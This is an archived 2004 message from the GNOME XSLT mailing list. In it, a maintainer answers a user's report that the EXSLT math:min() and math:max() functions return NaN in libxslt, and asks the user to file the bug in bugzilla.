Feb 2004 05:29:46 -0500 Date: Sun, 29 Feb 2004 05:29:46 -0500 From: Daniel Veillard To: xslt@gnome.org Subject: Re: [xslt] math:max()/math:min() bug? Message-ID: <20040229102946.GH27009@redhat.com> References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.4.1i Sender: xslt-admin@gnome.org Errors-To: xslt-admin@gnome.org X-BeenThere: xslt@gnome.org X-Loop: xslt@gnome.org X-Mailman-Version: 2.0.12 Precedence: bulk Reply-To: xslt@gnome.org X-Reply-To: veillard@redhat.com List-Help: List-Post: List-Subscribe: , List-Id: The Gnome XSLT library mailing-list List-Unsubscribe: , List-Archive: On Sun, Feb 29, 2004 at 06:36:18AM +0000, Xyster ! wrote: > Hi, > > Running the stylesheet below produces: > > min: NaN > max: NaN > > I tested the same stylesheet with saxon and got the expected, and I assume > correct, result: > > min: 1 > max: 5 > > > The stylesheet: > > > xmlns:exsl="http://exslt.org/common" > xmlns:math="http://exslt.org/math" > extension-element-prefixes="exsl math" > version='1.1'> > > > > name="a">12543 > > min: > max: > > > > Hum, looks like a bug,could you register it in bugzilla ? thanks, Daniel -- Daniel Veillard | Red Hat Network https://rhn.redhat.com/ veillard@redhat.com | libxml GNOME XML XSLT toolkit http://xmlsoft.org/ http://veillard.com/ | Rpmfind RPM search engine http://rpmfind.net/